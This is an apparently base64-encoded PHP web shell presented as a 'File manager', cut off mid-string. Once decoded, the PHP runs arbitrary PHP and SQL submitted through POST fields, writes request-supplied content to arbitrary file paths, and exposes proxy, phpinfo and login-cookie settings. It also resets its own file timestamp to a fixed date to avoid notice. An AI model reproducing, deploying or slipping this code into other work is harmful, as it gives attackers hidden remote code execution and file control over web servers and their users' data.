dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQUJHZEJUVUVBQUsvSU53V0s2UUFBQWRGUVRGUkY3ZTN0L2YzOXBKK2YrY0phalY4cTZlbnBrR0ltL3NGTy8rMk8zOTNjNXVibS9zeGJkMjl5aW1kbmVGZzY1T1RrMnpvWTZ1SGkxekFTMWNySnNIczJueWdvM05yYjJMQlhyWXRtMnA1QS8raFhwb1JxcEtPa3dyaTQ2K3ZyME1HMzZZc3o2dWpwbUk2QW56VXl3TCsvbVhWU21JQk44Ynd3ajFWQnlMR3phMVpKME5EUWpZU0IvOU5qd1o2Q3dVQXN4azBiclp5V3c3cG1HWjRBNkx0ZGtIZGYvK044eW93MjdiNVc4N1JOTFpMLzJiaVA3d0FBLy9HSmw1ZVg0TmZZc2FhTGdwNmgxYit0Lys2UjY4RmU4OXljaW1aZC91UXYzcjlOdXBDQjk5VjI1YTFjVkpiYm5IaE8vOHhTK01CYThmRHdpMkppNDhxaS8rcU9kVkl6czM0eC8vR09YSXpZcDVTUC9zeGdxcGlJY3ArL3NpUXBjbXBzdGF5c3pTQU51S0tUOVBUMDR1TGl3SWt5OExkRStzVld2cWFtOGUvdkw1SVorcmxIOGNOZzA4Q2N6N2FkOHZMeTlMdFUxcXlVdVo0K3I1MTIrOHMvd1VwTDNkM2R4N1cxZkdOYS84OVoyY2ZIK3M1bjZPam9iMVl0czdLejE5Zlh3SWc0cDFkTitQajR6TFIwKzhwZDdzdHJoS0FzLzloai85QlYxS3RmdExTMW5wMmRZbEpTWkZWVjVMUldoRUZCNXJoWi85SnEwSHRULy9DU2tJcUo2SzVEK0xOTmJsVlZ2ak0wNDdaTXo3ZTMxeEVHLy8vL3RLZ3U2d0FBQUp0MFVrNVQvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vd0NWVnBLWUFBQUFHWFJGV0hSVGIyWjBkMkZ5WlFCQlpHOWlaU0JKYldGblpWSmxZV1I1Y2NsbFBBQUFBTlpKUkVGVUtGTmptS1dpUFFzWk1NeGltc3FQS3BBYjJNc0FaTmpMT3dremdnVm1KWW55cHMvUUU1OWVLQ0V0QmhhWUZSZmpadVRoSDI3bFk2a3FCeFlvclMvT01DNXdpSFprbDJRQ0NWVGtOK3RydEZqNFpTcE1tYXdERkJEMGxDb3luelpCbDFuSUpqNTVFbEJBMDlwZHZjOWJ1VDFTWUtZQld3MVFJQzBvTllzanJGSEpwU2t2UllzQktDQ2JNOUhMTjl0V3JicW5qVVVHWkcxQWhHdUlYWlJ6cFFsM2FHd0QyQjJjWloyekVvTDdXK3U2cXlBdW5aWElPTXZRckZ5a3F3VGlGekJRTk9YajRRS3pvQUt6YWp0WUlRd0FsdnRwbDNWNWM4TUFBQUFBU1VWT1JLNUNZSUk9Iik7DQoNCn0NCkBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NzIwcHgpew0KDQogIHRhYmxle2Rpc3BsYXk6YmxvY2s7fQ0KICAgICNmbV90YWJsZSB0ZHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O30NCg0KICAgICNmbV90YWJsZSB0Ym9keSB0ZDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlO3BhZGRpbmc6MDt9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAjZm1fdGFibGUgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKzEpe2JhY2tncm91bmQtY29sb3I6I0VGRUZFRjt9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAjZm1fdGFibGUgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKXtiYWNrZ3JvdW5kLWNvbG9yOiNERUUzRTc7fQ0KDQogICAgI2ZtX3RhYmxlIHRye2Rpc3BsYXk6YmxvY2s7ZmxvYXQ6bGVmdDtjbGVhcjpsZWZ0O3dpZHRoOjEwMCU7fQ0KCSAgICAgI2hlYWRlcl90YWJsZSAucm93MiwgI2hlYWRlcl90YWJsZSAucm93MyB7ZGlzcGxheTppbmxpbmU7ZmxvYXQ6bGVmdDt3aWR0aDoxMDAlO3BhZGRpbmc6MDt9DQoNCgkgICAgICNoZWFkZXJfdGFibGUgdGFibGUgdGQge2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7fQ0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L3N0eWxlPg0KDQo8L2hlYWQ+DQo8Ym9keT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPD9waHANCiR1cmxfaW5jID0gJz9mbT10cnVlJzsNCmlmIChpc3NldCgkX1BPU1RbJ3NxbHJ1biddKSYmIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9zcWxfY29uc29sZSddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJHJlcyA9IGVtcHR5KCRfUE9TVFsnc3FsJ10pID8gJycgOiAkX1BPU1RbJ3NxbCddOw0KDQoJICAgICAkcmVzX2xuZyA9ICdzcWwnOw0KDQp9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydwaHBydW4nXSkmJiFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcGhwX2NvbnNvbGUnXSkpew0KDQoJICAgICAkcmVzID0gZW1wdHkoJF9QT1NUWydwaHAnXSkgPyAnJyA6ICRfUE9TVFsncGhwJ107DQoNCgkgICAgICRyZXNfbG5nID0gJ3BocCc7DQoNCn0gDQoNCmlmIChpc3NldCgkX0dFVFsnZm1fc2V0dGluZ3MnXSkpIHsNCgkgICAgIGVjaG8gJyANCg0KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+DQoNCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KDQo8dHI+PHRoIGNvbHNwYW49IjIiPicuX18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLl9fKCdTZXR0aW5ncycpLic8L3RoPjwvdHI+DQonLihlbXB0eSgkbXNnX2hlYWRlcnMpPycnOic8dHI+PHRkIGNsYXNzPSJyb3cyIiBjb2xzcGFuPSIyIj4nLiRtc2dfaGVhZGVycy4nPC90ZD48L3RyPicpLicNCg0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93IHNpemUgb2YgdGhlIGZvbGRlcicpLCdzaG93X2Rpcl9zaXplJykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ3BpY3R1cmVzJyksJ3Nob3dfaW1nJykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ01ha2UgZGlyZWN0b3J5JyksJ21ha2VfZGlyZWN0b3J5JykuJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnTmV3IGZpbGUnKSwnbmV3X2ZpbGUnKS4nDQoNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnVXBsb2FkJyksJ3VwbG9hZF9maWxlJykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCB2ZXJzaW9uJywnc2hvd19waHBfdmVyJykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCBpbmknLCdzaG93X3BocF9pbmknKS4nDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ0dlbmVyYXRpb24gdGltZScpLCdzaG93X2d0JykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyB4bHMnLCdzaG93X3hscycpLicNCg0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQSFAgJy5fXygnQ29uc29sZScpLCdlbmFibGVfcGhwX2NvbnNvbGUnKS4nDQoNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgU1FMICcuX18oJ0NvbnNvbGUnKSwnZW5hYmxlX3NxbF9jb25zb2xlJykuJw0KDQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fY29uZmlnW3NxbF9zZXJ2ZXJdIiB2YWx1ZT0iJy4kZm1fY29uZmlnWydzcWxfc2VydmVyJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPlNRTCBzZXJ2ZXI8L3RkPjwvdHI+DQoNCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9jb25maWdbc3FsX3VzZXJuYW1lXSIgdmFsdWU9IicuJGZtX2NvbmZpZ1snc3FsX3VzZXJuYW1lJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPlNRTCB1c2VyPC90ZD48L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfcGFzc3dvcmRdIiB2YWx1ZT0iJy4kZm1fY29uZmlnWydzcWxfcGFzc3dvcmQnXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+U1FMIHBhc3N3b3JkPC90ZD48L3RyPg0KDQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fY29uZmlnW3NxbF9kYl0iIHZhbHVlPSInLiRmbV9jb25maWdbJ3NxbF9kYiddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgREI8L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUHJveHknLCdlbmFibGVfcHJveHknKS4nDQoNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgcGhwaW5mbygpJywnc2hvd19waHBpbmZvJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdTZXR0aW5ncycpLCdmbV9zZXR0aW5ncycpLicNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Jlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmcnKSwncmVzdG9yZV90aW1lJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdGaWxlIG1hbmFnZXInKS4nOiAnLl9fKCdSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nJyksJ2ZtX3Jlc3RvcmVfdGltZScpLicNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0cj48dGQgY2xhc3M9InJvdzMiPjxhIGhyZWY9IicuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlJmZtX2NvbmZpZ19kZWxldGU9dHJ1ZSI+Jy5fXygnUmVzZXQgc2V0dGluZ3MnKS4nPC9hPjwvdGQ+PHRkIGNsYXNzPSJyb3czIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnU2F2ZScpLiciIG5hbWU9ImZtX2NvbmZpZ1tmbV9zZXRfc3VibWl0XSI+PC90ZD48L3RyPg0KPC9mb3JtPg0KDQo8L3RhYmxlPg0KPHRhYmxlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KDQo8dHI+PHRoIGNvbHNwYW49IjIiPicuX18oJ1NldHRpbmdzJykuJyAtICcuX18oJ0F1dGhvcml6YXRpb24nKS4nPC90aD48L3RyPg0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2F1dGhvcml6ZV0iIHZhbHVlPSIxIiAnLigkYXV0aF9nb3duWydhdXRob3JpemUnXT8nY2hlY2tlZCc6JycpLicgdHlwZT0iY2hlY2tib3giIGlkPSJhdXRoIj48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PGxhYmVsIGZvcj0iYXV0aCI+Jy5fXygnQXV0aG9yaXphdGlvbicpLic8L2xhYmVsPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2xvZ2luXSIgdmFsdWU9IicuJGF1dGhfZ293blsnbG9naW4nXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnTG9naW4nKS4nPC90ZD48L3RyPg0KDQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bcGFzc3dvcmRdIiB2YWx1ZT0iJy4kYXV0aF9nb3duWydwYXNzd29yZCddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdQYXNzd29yZCcpLic8L3RkPjwvdHI+DQoNCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpbltjb29raWVfbmFtZV0iIHZhbHVlPSInLiRhdXRoX2dvd25bJ2Nvb2tpZV9uYW1lJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ0Nvb2tpZScpLic8L3RkPjwvdHI+DQoNCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpbltkYXlzX2F1dGhvcml6YXRpb25dIiB2YWx1ZT0iJy4kYXV0aF9nb3duWydkYXlzX2F1dGhvcml6YXRpb24nXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnRGF5cycpLic8L3RkPjwvdHI+DQoNCjx0cj48dGQgY2xhc3M9InJvdzEiPjx0ZXh0YXJlYSBuYW1lPSJmbV9sb2dpbltzY3JpcHRdIiBjb2xzPSIzNSIgcm93cz0iNyIgY2xhc3M9InRleHRhcmVhX2lucHV0IiBpZD0iYXV0aF9zY3JpcHQiPicuJGF1dGhfZ293blsnc2NyaXB0J10uJzwvdGV4dGFyZWE+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ1NjcmlwdCcpLic8L3RkPjwvdHI+DQoNCjx0cj48dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzMiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTYXZlJykuJyIgPjwvdGQ+PC90cj4NCg0KPC9mb3JtPg0KDQo8L3RhYmxlPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQplY2hvIGZtX3RwbF9mb3JtKCdwaHAnKSxmbV90cGxfZm9ybSgnc3FsJyk7DQp9IGVsc2VpZiAoaXNzZXQoJHByb3h5X2Zvcm0pKSB7DQoNCgkgICAgIGRpZSgkcHJveHlfZm9ybSk7DQoNCn0gZWxzZWlmIChpc3NldCgkcmVzX2xuZykpIHsJICAgICANCg0KPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+DQo8dHI+DQoNCiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48L3RoPg0KDQo8L3RyPg0KPHRyPg0KDQogICAgPHRkIGNsYXNzPSJyb3cyIj48dGFibGU+PHRyPjx0ZD48aDI+PD89c3RydG91cHBlcigkcmVzX2xuZyk/PiA8Pz1fXygnQ29uc29sZScpPz48P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBpZigkcmVzX2xuZz09J3NxbCcpIGVjaG8gJyAtIERhdGFiYXNlOiAnLiRmbV9jb25maWdbJ3NxbF9kYiddLic8L2gyPjwvdGQ+PHRkPicuZm1fcnVuX2lucHV0KCdwaHAnKTsNCg0KCSAgICAgZWxzZSBlY2hvICc8L2gyPjwvdGQ+PHRkPicuZm1fcnVuX2lucHV0KCdzcWwnKTsNCgkgICAgID8+PC90ZD48L3RyPjwvdGFibGU+PC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQoNCgkgICAgIAkgICAgIDxhIGhyZWY9Ijw/PSR1cmxfaW5jLicmcGF0aD0nIC4gJHBhdGg7Pz4iPjw/PV9fKCdCYWNrJyk/PjwvYT4NCg0KCSAgICAgCSAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCIgbmFtZT0iY29uc29sZSI+DQoNCgkgICAgIAkgICAgIDx0ZXh0YXJlYSBuYW1lPSI8Pz0kcmVzX2xuZz8+IiBjb2xzPSI4MCIgcm93cz0iMTAiIHN0eWxlPSJ3aWR0aDogOTAlIj48Pz0kcmVzPz48L3RleHRhcmVhPjxici8+DQoNCgkgICAgIAkgICAgIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9Ijw/PV9fKCdSZXNldCcpPz4iPg0KCSAgICAgCSAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+IiBuYW1lPSI8Pz0kcmVzX2xuZz8+cnVuIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPD9waHANCg0KJHN0cl90bXBsID0gJHJlc19sbmcuJ190ZW1wbGF0ZXMnOw0KJHRtcGwgPSAhZW1wdHkoJCRzdHJfdG1wbCkgPyBqc29uX2RlY29kZSgkJHN0cl90bXBsLHRydWUpIDogJyc7DQoNCmlmICghZW1wdHkoJHRtcGwpKXsNCgkgICAgICRhY3RpdmUgPSBpc3NldCgkX1BPU1RbJHJlc19sbmcuJ190cGwnXSkgPyAkX1BPU1RbJHJlc19sbmcuJ190cGwnXSA6ICcnOw0KDQoJICAgICAkc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT0iJy4kcmVzX2xuZy4nX3RwbCIgdGl0bGU9IicuX18oJ1RlbXBsYXRlJykuJyIgb25jaGFuZ2U9ImlmICh0aGlzLnZhbHVlIT0tMSkgZG9jdW1lbnQuZm9ybXNbXCdjb25zb2xlXCddLmVsZW1lbnRzW1wnJy4kcmVzX2xuZy4nXCddLnZhbHVlID0gdGhpcy5vcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlOyBlbHNlIGRvY3VtZW50LmZvcm1zW1wnY29uc29sZVwnXS5lbGVtZW50c1tcJycuJHJlc19sbmcuJ1wnXS52YWx1ZSA9XCdcJzsiID4nLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkc2VsZWN0IC49ICc8b3B0aW9uIHZhbHVlPSItMSI+JyAuIF9fKCdTZWxlY3QnKSAuICI8L29wdGlvbj5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBmb3JlYWNoICgkdG1wbCBhcyAka2V5PT4kdmFsdWUpew0KDQoJICAgICAJICAgICAkc2VsZWN0Lj0nPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oKCFlbXB0eSgkdmFsdWUpJiYoJHZhbHVlPT0kYWN0aXZlKSk/J3NlbGVjdGVkJzonJykuJyA+Jy5fXygka2V5KS4iPC9vcHRpb24+XG4iOw0KDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICRzZWxlY3QgLj0gIjwvc2VsZWN0PlxuIjsNCg0KCSAgICAgZWNobyAkc2VsZWN0Ow0KDQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPz4NCg0KCSAgICAgCSAgICAgPC9mb3JtPg0KCSAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPC90YWJsZT4NCg0KPD9waHANCgkgICAgIGlmICghZW1wdHkoJHJlcykpIHsNCg0KCSAgICAgCSAgICAgJGZ1bj0nZm1fJy4kcmVzX2xuZzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBlY2hvICc8aDM+Jy5zdHJ0b3VwcGVyKCRyZXNfbG5nKS4nICcuX18oJ1Jlc3VsdCcpLic8L2gzPjxwcmU+Jy4kZnVuKCRyZXMpLic8L3ByZT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCn0gZWxzZWlmICghZW1wdHkoJF9SRVFVRVNUWydlZGl0J10pKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHsNCg0KCSAgICAgCSAgICAgJGZuID0gJHBhdGggLiAkX1JFUVVFU1RbJ2VkaXQnXTsNCg0KCSAgICAgCSAgICAgJGZpbGVtdGltZSA9IGZpbGVtdGltZSgkZm4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmbiwgJF9SRVFVRVNUWyduZXdjb250ZW50J10pKSAkbXNnX2hlYWRlcnMgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOw0KDQoJICAgICAJICAgICBlbHNlICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCgkgICAgIAkgICAgIGlmICgkX0dFVFsnZWRpdCddPT1iYXNlbmFtZShfX0ZJTEVfXykpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgdG91Y2goX19GSUxFX18sMTQxNTExNjM3MSk7DQoNCgkgICAgIAkgICAgIH0gZWxzZSB7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmICghZW1wdHkoJGZtX2NvbmZpZ1sncmVzdG9yZV90aW1lJ10pKSB0b3VjaCgkZm4sJGZpbGVtdGltZSk7DQoNCgkgICAgIAkgICAgIH0NCgkgICAgIH0NCiAgICAkb2xkY29udGVudCA9IEBmaWxlX2dldF9jb25